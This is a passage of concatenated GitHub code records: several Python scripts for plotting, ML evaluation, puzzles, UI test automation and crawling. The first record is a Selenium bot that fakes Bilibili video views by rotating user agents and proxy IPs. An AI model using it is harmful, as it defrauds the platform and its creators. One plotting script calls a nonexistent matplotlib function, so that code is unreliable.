Gecko/20100101 Firefox/21.0',\n 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0',\n]\n\nproxy_arr = [\n 'https://153.36.134.220',\n # 'https://111.26.180.82',\n # 'https://103.121.210.84',\n # 'https://36.56.101.120',\n # 'https://114.233.171.250',\n # 'https://49.85.188.222',\n # 'https://1.70.67.20',\n # 'https://114.98.173.85',\n # 'https://49.85.188.242',\n # 'https://117.64.236.75',\n # 'https://27.156.197.102',\n # 'https://121.226.215.247',\n # 'https://180.119.95.119',\n # 'https://49.85.188.222',\n # 'https://61.130.194.136',\n # 'https://1.70.67.86'\n ]\n\n# 参数 url 为B站视频的链接\ndef bil_views(url):\n chrome_options = Options()\n # chrome_options.add_argument('--headless')\n ua = random.choice(USER_AGENT)\n ip=random.choice(proxy_arr)\n chrome_options.add_argument('--user-agent=%s' %ua)#'--user-agent=%s' %ua,\"--proxy-server=%s\" %ip\n\n # 代码\n browser = webdriver.Chrome(options=chrome_options)\n\n # 访问网页\n browser.get(url)\n #browser.save_screenshot(\"1.png\")\n time.sleep(6)\n\n # 根据 id 获取播放按钮\n try:\n path = '//*[@id=\"bilibiliPlayer\"]/div[1]'\n browser.find_element_by_xpath(path)\n time.sleep(1)\n print('控件抓取成功1')\n except Exception:\n try:\n path = '//*[@id=\"bilibiliPlayer\"]/p[1]/p[1]/p[9]/p[2]/p[2]/p[1]/p[1]/button[1]'\n browser.find_element_by_xpath(path)\n time.sleep(1)\n print('控件抓取成功2')\n except Exception:\n path = '//*[@id=\"bilibiliPlayer\"]/p[1]/p[1]/p[9]/video'\n browser.find_element_by_xpath(path)\n time.sleep(1)\n print('控件抓取成功3')\n\n # 2倍速播放\n js_2 = '''document.querySelector('video').playbackRate=2'''\n browser.execute_script(js_2) # 执行js的方法\n # 播放\n browser.find_element_by_xpath(path).click()\n print('播放成功')\n # 睡眠,播放随机一段时间\n view_time = [i for i in range(11, 15)]\n time.sleep(random.choice(view_time))\n # 截图,退出\n #browser.save_screenshot(\"click1.png\")\n browser.close() # 关闭当前页面\n browser.quit() # 关闭浏览器\n\n\nif __name__ == \"__main__\":\n # 播放100次\n for i in range(5):\n bil_views(\"https://www.bilibili.com/video/BV1oh411m7ad/\")","repo_name":"Winniepoof/test","sub_path":"b站刷播放量/b02.py","file_name":"b02.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"2913253599","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Sep 6 15:43:05 2019\r\n\r\n@author: jacob\r\n\"\"\"\r\n\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\n\r\ncoord = np.loadtxt('Blender_Coord.txt', delimiter=',', usecols=range(3))\r\nx_coord = coord[:,0]\r\ny_coord = coord[:,1]\r\nz_coord = coord[:,2]\r\nframe = list(range(1,360+1))\r\n\r\nfig, (ax1,ax2,ax3,ax4) = plt.subplots(4,1, figsize=(6,6))\r\nfig.subplots_adjust(hspace=0.1,left=0.15)\r\n\r\nx = np.linspace(-90, 90)\r\nax1.scatter(frame, x_coord, label='Data')\r\nax1.set_ylabel('X-Position',fontweight='bold', fontsize=11)\r\nax1.set_xticklabels([])\r\nax1.legend()\r\n\r\nax2.scatter(frame,y_coord,label='Data')\r\nax2.set_ylabel('Y-Position',fontweight='bold',fontsize=11)\r\nax2.set_xticklabels([])\r\nax2.legend()\r\n\r\nax3.scatter(frame,z_coord,label='Data')\r\nax3.set_ylabel('Z-Position',fontweight='bold',fontsize=11)\r\nax3.set_xticklabels([])\r\nax3.set_xlabel('Frame',fontweight='bold',fontsize=11)\r\nax3.legend()\r\n\r\nax4.scatter(x_coord,z_coord)\r\nplt.tight_fit()\r\nplt.show()","repo_name":"jtschwar/Automated-Tomography","sub_path":"Blender/blenderGraph.py","file_name":"blenderGraph.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"839629523","text":"\"\"\"\r\nPerformance evaluation of Spin-Wave Active Ring Neural Network (SWARNN) performing classification, regression and prediction tasks.\r\nAuthor: Anirban Mukhopadhyay\r\nAffiliation: Prof. Anil Prabhakar's Magnonics group\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import *\r\nfrom sklearn.model_selection import StratifiedKFold, train_test_split, TimeSeriesSplit\r\nfrom sklearn.metrics import classification_report, ConfusionMatrixDisplay, mean_squared_error\r\nfrom sklearn.metrics import precision_recall_fscore_support, balanced_accuracy_score\r\nfrom sklearn.preprocessing import OneHotEncoder, MinMaxScaler, KBinsDiscretizer\r\nfrom numpy.linalg import pinv\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\n# a list of linear regressor\r\nlinregr = [LinearRegression, Ridge, Lasso, ElasticNet]\r\n\r\n\r\n# visualization of the relations between feature variables\r\ndef vis_feat_rels(df_with_targetlabels: pd.core.frame.DataFrame, target_col_name: str,\r\n save_paths: list[str] = None):\r\n \"\"\"\r\n param df_with_targetlabels: Panda dataframe, where the column named\r\n have the target variable information\r\n param save_paths: path including the figure name for saving the pairplot and boxplot\r\n return:\r\n \"\"\"\r\n # Feature pair plots\r\n pplt = sns.pairplot(df_with_targetlabels, hue=target_col_name, dropna=True, diag_kind='hist')\r\n\r\n # Feature box plots\r\n fig, ax = plt.subplots()\r\n df_with_targetlabels.boxplot(by=target_col_name, figsize=(10, 10), ax=ax,\r\n grid=False, patch_artist=True)\r\n fig.suptitle('')\r\n\r\n if save_paths is not None:\r\n pplt.savefig(save_paths[0], dpi=300, bbox_inches='tight')\r\n fig.savefig(save_paths[1], dpi=300, bbox_inches='tight')\r\n\r\n\r\ndef find_nearest(arr: np.ndarray, val: float, return_indx=False):\r\n \"\"\"\r\n param arr: a numpy array\r\n param val: a value\r\n return: return the element of the array which is closest to the value\r\n \"\"\"\r\n indx = np.argmin(np.abs(arr - val))\r\n\r\n if return_indx:\r\n return indx, arr[indx]\r\n else:\r\n return arr[indx]\r\n\r\n\r\ndef eval_classif(H, y, regr_modelID: int = 0,\r\n testsize: float = 0.20, target_labels: list[str] = None,\r\n plot_conf_mat: bool = False, save_path: str = None):\r\n \"\"\"\r\n param H: Hidden layer output matrix\r\n param y: Target variable\r\n param class_labels: discrete categories\r\n param save_path: path including the figure name for saving confusion matrix\r\n return: output layer weight matrix via ridge regression\r\n \"\"\"\r\n\r\n oheenc = OneHotEncoder()\r\n\r\n H_train, H_test, y_train, y_test = train_test_split(H, y, test_size=testsize,\r\n random_state=1, shuffle=True, stratify=y)\r\n\r\n # Source: https://stackoverflow.com/questions/55525195/\r\n # do-i-have-to-do-one-hot-encoding-separately-for-train-and-test-dataset\r\n y_train_enc = oheenc.fit_transform(y_train.reshape(-1, 1)).toarray()\r\n\r\n # Create ridge regression object\r\n print(f'You have chosen {linregr[regr_modelID]}.')\r\n regr = linregr[regr_modelID]()\r\n\r\n # Train the model using the train sets\r\n regr.fit(H_train, y_train_enc)\r\n\r\n # output weight matrix\r\n model = {'coeff': regr.coef_, 'intercept': regr.intercept_}\r\n\r\n # Make predictions using the testing set\r\n output = regr.predict(H_test)\r\n\r\n # Predicted label\r\n y_pred = oheenc.inverse_transform(output)\r\n\r\n if plot_conf_mat:\r\n im = ConfusionMatrixDisplay.from_predictions(y_test.astype(str), y_pred.astype(str),\r\n display_labels=target_labels)\r\n if save_path is not None:\r\n fig = im.figure_\r\n fig.savefig(save_path, dpi=300, bbox_inches='tight')\r\n\r\n print(classification_report(y_test.astype(str), y_pred.astype(str), labels=target_labels))\r\n\r\n return model\r\n\r\n\r\ndef eval_timeseries_regr_cv(H, y, regr_modelID: int = 0, numofFold: int = 5,\r\n return_test_pred: bool = False, return_model: bool = False):\r\n \"\"\"\r\n param H: Hidden layer output matrix\r\n param y: Target variable\r\n return: output layer weight matrix via ridge regression\r\n \"\"\"\r\n # Create linear regression object\r\n print(f'You have chosen {linregr[regr_modelID]}.')\r\n regr = linregr[regr_modelID]()\r\n\r\n mse_cv = []\r\n\r\n y_pred = {}\r\n y_test = {}\r\n coeff = {}\r\n intercept = {}\r\n\r\n tss = TimeSeriesSplit(n_splits=numofFold)\r\n\r\n for i, (train_index, test_index) in enumerate(tss.split(H, y)):\r\n print(f\"Fold-{i}:\" + f' Length of training dataset: {len(train_index)}' +\r\n f' Length of testing dataset: {len(test_index)}')\r\n\r\n H_train, H_test = H[train_index], H[test_index]\r\n y_train, ytest = y[train_index], y[test_index]\r\n y_test['fold-'+str(i)] = ytest\r\n\r\n # Train the model using the train sets\r\n regr.fit(H_train, y_train)\r\n\r\n # Output weight\r\n coeff['fold-'+str(i)] = regr.coef_\r\n intercept['fold-'+str(i)] = regr.intercept_\r\n\r\n # Make predictions using the testing set\r\n output = regr.predict(H_test)\r\n y_pred['fold-'+str(i)] = output\r\n\r\n # MSE for each fold\r\n mse_cv.append(np.round(mean_squared_error(ytest, output), 2))\r\n\r\n mse_cv = np.array(mse_cv)\r\n\r\n print('MSE averaged over all the folds:', np.round(np.mean(mse_cv), 2))\r\n\r\n if return_test_pred:\r\n return y_test, y_pred, mse_cv\r\n elif return_model:\r\n return coeff, intercept, mse_cv\r\n elif return_test_pred and return_model:\r\n return y_test, y_pred, coeff, intercept, mse_cv\r\n else:\r\n return mse_cv\r\n\r\n\r\ndef eval_classif_cv(regr_modelID: int, H, y, numofFold: int = 5,\r\n target_labels=None, plot_conf_mat=False, save_path=None,\r\n return_test_pred: bool = False, return_model: bool = False):\r\n \"\"\"\r\n Training linear regression models on subsets of the available input data\r\n and evaluating them on the complementary subset of the data.\r\n param H: Hidden layer output matrix\r\n param y: Target variable\r\n return: Output weight matrix for fold with the highest accuracy.\r\n Accuracy score, precision and recall for all the folds.\r\n \"\"\"\r\n # Create linear regression object\r\n print(f'You have chosen {linregr[regr_modelID]}.')\r\n regr = linregr[regr_modelID]()\r\n\r\n oheenc = OneHotEncoder()\r\n\r\n # Source: https://www.analyticsvidhya.com/blog/2018/05/improve-model-performance-cross-validation-in-python-r/\r\n accuracy_score_cv = []\r\n precision_cv = []\r\n recall_cv = []\r\n f1score_cv = []\r\n\r\n y_pred = {}\r\n y_test = {}\r\n coeff = {}\r\n intercept = {}\r\n\r\n skf = StratifiedKFold(n_splits=numofFold, random_state=1, shuffle=True)\r\n for i, (train_index, test_index) in enumerate(skf.split(H, y)):\r\n print(f\"Fold {i}:\" + f' Length of training dataset: {len(train_index)}' +\r\n f' Length of testing dataset: {len(test_index)}')\r\n\r\n H_train, H_test = H[train_index], H[test_index]\r\n y_train, ytest = y[train_index], y[test_index]\r\n y_test['fold-'+str(i)] = ytest\r\n\r\n # Source: https://stackoverflow.com/questions/55525195/\r\n # do-i-have-to-do-one-hot-encoding-separately-for-train-and-test-dataset\r\n y_train_enc = oheenc.fit_transform(y_train.reshape(-1, 1)).toarray()\r\n\r\n # Train the model using the train sets\r\n regr.fit(H_train, y_train_enc)\r\n\r\n # Output weight\r\n coeff['fold-'+str(i)] = regr.coef_\r\n intercept['fold-'+str(i)] = regr.intercept_\r\n\r\n # Make predictions using the testing set\r\n output = oheenc.inverse_transform(regr.predict(H_test)).flatten()\r\n\r\n y_pred['fold-'+str(i)] = output\r\n\r\n # default value of beta is 1 for F-beta score\r\n accuracy_score_cv.append(np.round(balanced_accuracy_score(ytest, output), 2))\r\n precision_cv.append(np.round(precision_recall_fscore_support(ytest, output, average='weighted')[0], 2))\r\n recall_cv.append(np.round(precision_recall_fscore_support(ytest, output, average='weighted')[1], 2))\r\n f1score_cv.append(np.round(precision_recall_fscore_support(ytest, output, average='weighted')[2], 2))\r\n\r\n accuracy_score_cv = np.array(accuracy_score_cv)\r\n precision_cv = np.array(precision_cv)\r\n recall_cv = np.array(recall_cv)\r\n f1score_cv = np.array(f1score_cv)\r\n\r\n print('Precision averaged over all the folds:', np.round(np.mean(precision_cv), 2),\r\n 'Recall averaged over all the folds:', np.round(np.mean(recall_cv), 2),\r\n 'F1 score averaged over all the folds:', np.round(np.mean(f1score_cv), 2),\r\n 'Accuracy score averaged over all the folds:', np.round(np.mean(accuracy_score_cv), 2),)\r\n\r\n # Plot confusion matrix for the fold which has maximum accuracy\r\n i_maxacc = np.argmax(accuracy_score_cv)\r\n\r\n if plot_conf_mat:\r\n im = ConfusionMatrixDisplay.from_predictions(y_test['fold-'+str(i_maxacc)].astype(str),\r\n y_pred['fold-'+str(i_maxacc)].astype(str),\r\n display_labels=target_labels)\r\n if save_path is not None:\r\n fig = im.figure_\r\n fig.savefig(save_path, dpi=300, bbox_inches='tight')\r\n\r\n if return_test_pred:\r\n return y_test, y_pred, precision_cv, recall_cv, f1score_cv, accuracy_score_cv\r\n elif return_model:\r\n return coeff, intercept, precision_cv, recall_cv, f1score_cv, accuracy_score_cv\r\n elif return_test_pred and return_model:\r\n return y_test, y_pred, coeff, intercept, precision_cv, recall_cv, f1score_cv, accuracy_score_cv\r\n else:\r\n return precision_cv, recall_cv, f1score_cv, accuracy_score_cv\r\n \r\n\r\ndef feat_lin_scaleto_exp_param(dataset: np.ndarray, exp_param_min: np.ndarray,\r\n exp_param_max: np.ndarray, decimals: int = 2):\r\n \"\"\"\r\n param dataset: numpy array where each column represents a feature\r\n param exp_param_min: Minimum values of the experimental parameters\r\n param exp_param_max: Maximum values of the experimental parameters\r\n param decimals: Number of decimal places to round to\r\n return: transformed dataset where feature space is mapped onto experimental parameter space\r\n \"\"\"\r\n slope = (exp_param_max - exp_param_min) / (np.amax(dataset, axis=0) - np.amin(dataset, axis=0))\r\n intercept = exp_param_max - slope * np.amax(dataset, axis=0)\r\n print(\"Slope:\", slope)\r\n print('Intercept:', intercept)\r\n transformed_dataset = slope * dataset + intercept\r\n\r\n return np.round(transformed_dataset, decimals)\r\n\r\n\r\n# Calculates the binomial coefficient nCr using the logarithmic formula\r\ndef nCr(n, r):\r\n # If r is greater than n, return 0\r\n if r > n:\r\n return 0\r\n\r\n # If r is 0 or equal to n, return 1\r\n if r == 0 or n == r:\r\n return 1\r\n # Initialize the logarithmic sum to 0\r\n res = 0\r\n\r\n # Calculate the logarithmic sum of the numerator and denominator\r\n for i in range(r):\r\n # Add the logarithm of (n-i) and subtract the logarithm of (i+1)\r\n res += np.log(n - i) - np.log(i + 1)\r\n # Convert logarithmic sum back to a normal number\r\n return round(np.exp(res))\r\n\r\n\r\n# Calculates number of states for each feature\r\ndef calc_numofBins(numofInstances: int, numofFeats: int):\r\n \r\n val = 0\r\n numofBins = 0\r\n\r\n while val < numofInstances:\r\n numofBins += 1\r\n # val = nCr(numofBins + numofFeats - 1, numofFeats)\r\n val = numofBins ** numofFeats\r\n\r\n print(f'Number of combinations possible with {numofBins} bins is {val}.')\r\n\r\n return numofBins\r\n\r\n\r\ndef feat_bininngto_exp_param(dataset: np.ndarray, exp_param_vals: np.ndarray):\r\n \"\"\"\r\n param dataset: shape: (num of values, num of features)\r\n param exp_param_vals: discretized parameter values of shape: (num of values, num of features) or (num of values)\r\n \"\"\"\r\n # calculating number of bins\r\n n_fvals = exp_param_vals.shape[0]\r\n\r\n est = KBinsDiscretizer(n_bins=n_fvals, encode='ordinal', strategy='uniform')\r\n\r\n indx = est.fit_transform(dataset).astype(int)\r\n\r\n ds_transformed = np.zeros_like(dataset).astype(float)\r\n\r\n if exp_param_vals.ndim == 1:\r\n for i in range(dataset.shape[1]):\r\n ds_transformed[:, i] = exp_param_vals[indx[:, i]]\r\n else:\r\n for i in range(dataset.shape[1]):\r\n ds_transformed[:, i] = exp_param_vals[indx[:, i], i]\r\n\r\n return ds_transformed\r\n\r\n\r\ndef roundoff_uniqarr(vals: np.ndarray):\r\n \"\"\"\r\n param vals: array of values of shape: (num of values, num of features) or (num of values)\r\n \"\"\"\r\n decimal_places = 0\r\n\r\n while True:\r\n # Round the array to the current decimal place\r\n rounded_arr = np.round(vals, decimals=decimal_places)\r\n\r\n # Check if all values are unique at this decimal place\r\n if (np.unique(rounded_arr, axis=0)).size < vals.size:\r\n decimal_places += 1\r\n else:\r\n break\r\n\r\n return np.round(vals, decimals=decimal_places)\r\n","repo_name":"anirbanm93/train_ELM","sub_path":"postProcessing/swarnn_perf_eval.py","file_name":"swarnn_perf_eval.py","file_ext":"py","file_size_in_byte":13223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"32343817381","text":"#\n# https://programmers.co.kr/learn/courses/30/lessons/42748\n# K 번째 수\n#\n\n\ndef solution(array, commands):\n answer = []\n for command in commands:\n a = array[command[0] - 1:command[1]]\n a.sort()\n answer.append(a[command[2] - 1])\n return answer\n\n\ndef test_solution():\n assert solution([1, 5, 2, 6, 3, 7, 4], [[2, 5, 3], [4, 4, 1], [1, 7, 3]]) == [5, 6, 3]\n\n\ntest_solution()","repo_name":"limdongjin/ProblemSolving","sub_path":"Programmers/42748.py","file_name":"42748.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"11176487056","text":"import os\nimport random\nimport sys\nimport time\n\npath_demo=os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\npath_public=os.path.join(path_demo,'public')\nsys.path.append(path_public)\nfrom about_data import Aboutdata\nfrom browser_actions import Commonweb\nfrom common_method import Commonmethod\nfrom handlelog import MyLog\nfrom randomdata import Random_data\nfrom read_dataconfig import ReadConfig\n\n\nclass Location():\n \"\"\"\n 会员中心登录页改密\n \"\"\"\n global driver,common,dealData,conFig,log,digital\n\n common=Commonweb()\n dealData=Aboutdata()\n conFig=ReadConfig()\n log=MyLog()\n digital=Random_data()\n \n #赋值对象driver\n def broswertype(self,broswername='Chrome'):\n self.driver=common.open_browser(broswername)\n self.comMethod=Commonmethod()\n \n #访问cp注册页和登录bos\n def geturl(self,environment,username,psword,lang='CN'):\n #cp,environment:uat/sit环境\n common.open_web(conFig.get_value('cp_login', '{}'.format(environment)))\n #去除弹窗\n self.remove_topup()\n #选择页面语言\n self.comMethod.choose_register_lang(common,lang)\n time.sleep(1)\n #js打开新窗口\n common.js_openwindows(conFig.get_value('bos_login', '{}'.format(environment)))\n time.sleep(1)\n common.switch_windows(1)\n #页面语言,默认为简中\n self.comMethod.choose_bos_lang(common,lang)\n time.sleep(1)\n #登录bos\n self.comMethod.loginbos(common,username,psword)\n time.sleep(1)\n #进入客户名单页面\n common.display_click('css,.ivu-badge')\n time.sleep(1)\n common.display_click('css,.ivu-menu-item',1)\n \n \n #去除登录页弹窗\n def remove_topup(self):\n common.switch_windows(0)\n self.comMethod.remove_register_topup(common)\n\n #忘记密码\n def change_psword(self,email,account,path,column,row):\n try:\n #忘记密码\n common.switch_windows(0)\n time.sleep(1)\n common.display_click('css,div.rem-pwd-box > a')\n time.sleep(1)\n #输入邮箱\n common.web_clear('css,.el-input__inner')\n time.sleep(1)\n common.display_input('css,.el-input__inner',email)\n time.sleep(1)\n #识别验证码\n while True:\n self.code=common.discern_code('tyler','123456','code','screenshot',\"css,[width='150']\")\n #填写验证码\n common.web_clear(\"css,[placeholder='验证码']\")\n time.sleep(0.5)\n common.display_input(\"css,[placeholder='验证码']\", self.code)\n time.sleep(0.5)\n common.display_click(\"xpath,//span[.='发送']\")\n time.sleep(1)\n #判断验证码是否填写正确\n if common.ele_is_displayed('css,.el-form-item__error', 1):\n continue\n else:\n break\n time.sleep(1)\n #获取验证码\n self.get_code(account)\n #输入验证码\n common.switch_windows(0)\n common.display_input('css,.el-input__inner',self.email_code,2)\n time.sleep(1)\n #输入新密码\n self.psword=digital.get_psword_type(8)\n common.display_input('css,.el-input__inner',self.psword,3)\n time.sleep(1)\n #确认新密码\n common.display_input('css,.el-input__inner',self.psword,4)\n time.sleep(1)\n dealData.saveainfo(path,self.psword,column,row)\n #确认\n common.display_click('css,form.el-form .el-form-item__content > .el-button > span')\n time.sleep(1)\n except Exception as msg:\n log.my_logger('!!--!!change_psword').error(msg)\n\n #获取重置密码成功后的文本\n def sucess_change(self):\n time.sleep(1)\n self.text=common.display_get_text('css,.succ-tips')\n time.sleep(1)\n #回到登录页\n common.display_click('css,.b-confirm',-1)\n return self.text\n\n #获取验证码\n def get_code(self,account):\n try:\n common.switch_windows(1)\n #输入主账户搜索\n common.web_clear('css,.ivu-input-group-with-append > [placeholder]')\n time.sleep(0.5)\n common.display_input('css,.ivu-input-group-with-append > [placeholder]',account)\n time.sleep(1)\n #搜索\n common.web_click('css,.ivu-icon-ios-search',1)\n time.sleep(1)\n while True:\n if common.ele_is_displayed('css,.ivu-spin-dot', 1):\n continue\n else:\n break\n #进入详情页\n common.display_click('css,div.ivu-table-overflowX>table>tbody.ivu-table-tbody>tr>td',1)\n time.sleep(1)\n #点击邮件短信记录\n time.sleep(1)\n common.switch_windows(2)\n time.sleep(2)\n common.web_click(\"xpath,//a[.='邮件记录']\")\n time.sleep(1)\n while True:\n common.display_click(\"xpath,//div[@class='emailRecord-page']//span[contains(.,'刷新')]\")\n time.sleep(1)\n emailtext=common.get_text('css,.emailRecod-table .ivu-table-tip span')\n if not emailtext=='暂无数据':\n break\n else:\n continue\n time.sleep(1)\n #打开验证码邮件\n common.display_click('css,.tips',1)\n time.sleep(2)\n #获取验证码文本\n code_text=common.display_get_text('xpath,//div[@class=\"ivu-drawer-wrap\"]//tr[2]//tr[4]/td[1]/span')\n #提取验证码\n self.email_code=digital.extract_numbers(code_text)\n #关闭当前页面\n self.closerbrowser()\n return self.email_code\n except Exception as msg:\n log.my_logger('!!--!!get_code').error(msg)\n\n\n def closerbrowser(self):\n common.close_browser()\n\n def quitbroswer(self):\n common.quit_browser()\n","repo_name":"webclinic017/tylerhub","sub_path":"demo/change_psword/location/locate_change_pswd_cp.py","file_name":"locate_change_pswd_cp.py","file_ext":"py","file_size_in_byte":6255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"73058943333","text":"MOD = 1_000_000_007\n\nL, R = map(int, input().split())\n\nans = 0\n\nfor n_digit in range(1, 20):\n ll = pow(10, n_digit-1)\n rr = pow(10, n_digit)\n l = min(rr, max(ll, L))\n r = min(rr, max(ll, R+1))\n cnt = (l+r-1) * (r-l) // 2\n ans += cnt * n_digit\n ans %= MOD\n\nprint(ans)\n","repo_name":"cunitac/typical90_py_for_j","sub_path":"082.py","file_name":"082.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"23577868653","text":"# Try extract some simple features in the traditional method, to compare results.\nimport numpy as np\nimport pandas as pd\nfrom collections import OrderedDict\n\n\nTIMESTEPS = 20\n\n\nprint('Loading data')\ndf = pd.read_csv('bb/data/timeseries-1000.csv')\nlabeled_i = df[df.affect.notnull() | df.behavior.notnull()].index\n\nprint('Extracting features')\nrows = []\nfor i in labeled_i:\n window = df.loc[i-TIMESTEPS+1:i]\n if len(window.participant_id.unique()) > 1 or \\\n window.participant_id.iloc[0] != df.loc[i].participant_id:\n print('Skipping due to data spanning participants')\n continue\n rows.append(OrderedDict())\n rows[-1]['participant_id'] = df.loc[i].participant_id\n rows[-1]['orig_row_index'] = i\n rows[-1]['affect'] = df.loc[i].affect\n rows[-1]['behavior'] = df.loc[i].behavior\n rows[-1]['num_interactions_mean'] = window.num_interactions.mean()\n rows[-1]['view_causal_map_mean'] = window.action_ViewCausalMapAction.mean()\n rows[-1]['view_page_mean'] = window.action_ViewPageAction.mean()\n\nprint('Saving')\npd.DataFrame.from_records(rows).to_csv('bb/supervised/expert_feats_data.csv', index=False)\n","repo_name":"pnb/dlwed17","sub_path":"supervised/expert_feats_extract.py","file_name":"expert_feats_extract.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"9"} +{"seq_id":"24552288871","text":"from fileHandler import *\n\nimport numpy as np\nimport pandas as pd\n\nfrom scipy.interpolate import *\nfrom nltk.classify import NaiveBayesClassifier\nfrom nltk.corpus import subjectivity\nfrom nltk.sentiment import SentimentAnalyzer\nfrom nltk.sentiment.util import *\n\nimport datetime\nfrom pandas.plotting import lag_plot\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\nfrom datetime import date\nfrom dateutil.relativedelta import relativedelta\n\n##################################### Connects the changes och reviews to get common emails\nemails = pd.concat([codeChange_accountMapping, codeReviews_accountMapping], axis=0, ignore_index=True)\n## From ericsson\n#emails = emails[emails['email'].str.contains(\"@ericsson\")]\nemails = emails.groupby('email').nunique()\nemails.to_csv(\"emails.csv\", sep=\";\")\n##################################### Connects the changes och reviews to get common emails\n\nprint(\"Total code review contributors: \", emails.count())\n# total number of distinct reviewers and committers ---------------------------\ntotal_reviewers = changesReviews.groupby('Reviewer_ID').first().reset_index()\ntotal_distinct_reviews = total_reviewers\nreviewers_changesReviews = changesReviews\n\nfor index, row in total_reviewers.iterrows(): # yields both index and rows\n for j, inner_row in changesReviews.iterrows():\n if row.Reviewer_ID == inner_row.Author_ID:\n reviewers_changesReviews = reviewers_changesReviews[reviewers_changesReviews.Reviewer_ID == row.Reviewer_ID]\n total_distinct_reviews = total_distinct_reviews[total_distinct_reviews.Reviewer_ID!=row.Reviewer_ID]\n\nprint(\"Distinct reviewers: \",total_distinct_reviews.count())\ntotal_distinct_reviews.to_csv(\"total_distinct_reviews.csv\")\n\n\n\n\n\n\ntotal_authors = changesReviews.groupby('Author_ID').first().reset_index()\ntotal_distinct_committer = total_authors\nauthors_changesReviews = changesReviews\n\nfor index, row in total_authors.iterrows(): # yields both index and rows\n for j, inner_row in changesReviews.iterrows():\n if row.Author_ID == inner_row.Reviewer_ID:\n authors_changesReviews = authors_changesReviews[authors_changesReviews.Author_ID == row.Author_ID]\n total_distinct_committer = total_distinct_committer[total_distinct_committer.Author_ID!=row.Author_ID]\n\nprint(\"Distinct committers: \", total_distinct_committer.count())\ntotal_distinct_committer.to_csv(\"total_distinct_committer.csv\")\n\n# total number of distinct reviewers and committers ---------------------------\n\n# total number of commits and reviews -----------------------------------------\ntotal_commits = codeChange_accountMapping['Author_ID'].count()\nprint(\"Amount commits: \", total_commits)\ntotal_reviews = codeReviews_accountMapping['Reviewer_ID'].count()\nprint(\"Amount reviews: \", total_reviews)\n# total number of commits and reviews -----------------------------------------\n\n# min, max, average reviewers per commit --------------------------------------\n\n########################### commits\n\nper_commit = changesReviews.groupby(['Author_ID']).size()\n\nprint(\"Min commits: \", per_commit.min())\n\nprint(\"Max commits: \", per_commit.max())\n\nprint(\"Average commits: \", per_commit.mean())\n\n########################### commits\n\n########################### reviews\n\nper_review = changesReviews.groupby(['Reviewer_ID']).size()\n\nprint(\"Min reviews: \", per_review.min())\n\nprint(\"Max reviews: \", per_review.max())\n\nprint(\"Average reviews: \", per_review.mean())\n\n########################### reviews\n\n# min, max, average reviewers per commit --------------------------------------\n\n# min, max, average time between commit and review ---------------------------\nchangesReviews['Created_y'] = pd.to_datetime(changesReviews['Created_y'])\nchangesReviews['Created_x'] = pd.to_datetime(changesReviews['Created_x'])\n\nchangesReviews['commit_between_review'] = (changesReviews['Created_y'] - changesReviews['Created_x'])\nprint(\"Total in between the largest to smallest chunks of time: \", changesReviews['commit_between_review'].sort_values(ascending=False)) # ordered in a descending order\n\nmin_time_commit_between_review = changesReviews['commit_between_review'].nsmallest(1)\nprint(\"Min time between commit and review: \", min_time_commit_between_review)\n\nmax_time_commit_between_review = changesReviews['commit_between_review'].nlargest(1)\nprint(\"Max time between commit and review: \", max_time_commit_between_review)\n\naverage_time_commit_between_review = changesReviews['commit_between_review'].mean()\nprint(\"Average between commit and review: \", average_time_commit_between_review)\n# min, max, average time between commit and review ---------------------------\n","repo_name":"Marcuslju/Peer-impressions-in-code-reviews","sub_path":"information-about-dataset.py","file_name":"information-about-dataset.py","file_ext":"py","file_size_in_byte":4650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"39393502908","text":"# coding=utf-8\n\n# python 2.7.13\n\nfrom bs4 import BeautifulSoup\nimport os\nfrom urllib.request import *\nimport sys\nimport struct\n\n\nclass SogouCrawler:\n def __init__(self, saved_path='.'):\n self.base_url = 'http://pinyin.sogou.com'\n self.home_page = '{}/dict/'.format(self.base_url)\n self.saved_path = saved_path\n\n def crawl(self):\n html = urlopen(self.home_page).read()\n soup = BeautifulSoup(html)\n soup = soup.find(id='dict_category_show').find_all('div', class_='dict_category_list')\n\n for top_level in soup:\n\n for secondary_level in top_level.find(class_='catewords').find_all('a'):\n second_class = secondary_level.contents[0]\n second_class_url = '{}{}'.format(self.base_url, secondary_level['href'])\n\n s_soup = BeautifulSoup(urlopen(second_class_url).read())\n\n try:\n page_num = s_soup.find(id='dict_page_list').find('ul').find_all('span')[-2].a.contents[0]\n except Exception as e:\n page_num = 1\n\n for pageind in range(1, int(page_num) + 1):\n t_soup = BeautifulSoup(\n urlopen('%s/default/%d' % (second_class_url.replace('?rf=dictindex', ''), pageind)).read())\n for third_level in t_soup.find_all('div', class_='dict_detail_block'):\n third_class = third_level.find(class_='detail_title').find('a').contents[0]\n if os.path.exists(\n '{}/{}-{}.scel'.format(self.saved_path, second_class, third_class)):\n continue\n third_class_url = third_level.find(class_='dict_dl_btn').a['href']\n third_class = third_class.replace('/', '')\n urlretrieve(third_class_url,\n '{}/{}-{}.scel'.format(self.saved_path, second_class, third_class))\n\n\nclass 